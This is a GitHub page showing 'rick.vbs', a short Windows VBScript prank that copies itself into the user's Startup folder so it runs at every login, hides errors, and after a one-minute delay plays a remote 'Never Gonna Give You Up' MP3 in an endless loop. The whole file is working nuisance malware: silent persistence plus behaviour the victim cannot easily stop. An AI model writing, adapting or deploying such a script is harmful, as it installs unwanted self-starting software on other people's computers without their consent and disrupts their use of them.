-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrick.vbs
37 lines (24 loc) · 812 Bytes
/
rick.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
On Error Resume Next
Err.Clear
Dim FSO
Set fso = CreateObject("Scripting.FileSystemObject")
GetCurrentFolder = FSO.GetAbsolutePathName(".") + "\rick.vbs"
Set shell = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
startupFolder = shell.SpecialFolders("Startup") & "\"
fso.CopyFile GetCurrentFolder, startupFolder
Const TemporaryFolder = 2
Dim oFS, sTempPath
Set oFS = CreateObject("Scripting.FileSystemObject")
sTempPath = oFS.GetSpecialFolder(TemporaryFolder)
WScript.Sleep 60000
While true
Dim oPlayer
Set oPlayer = CreateObject("WMPlayer.OCX")
oPlayer.URL = "https://s3-us-west-2.amazonaws.com/true-commitment/01-NeverGonnaGiveYouUp.mp3"
oPlayer.controls.play
While oPlayer.playState <> 1 ' 1 = Stopped
WScript.Sleep 60000
Wend
oPlayer.close
Wend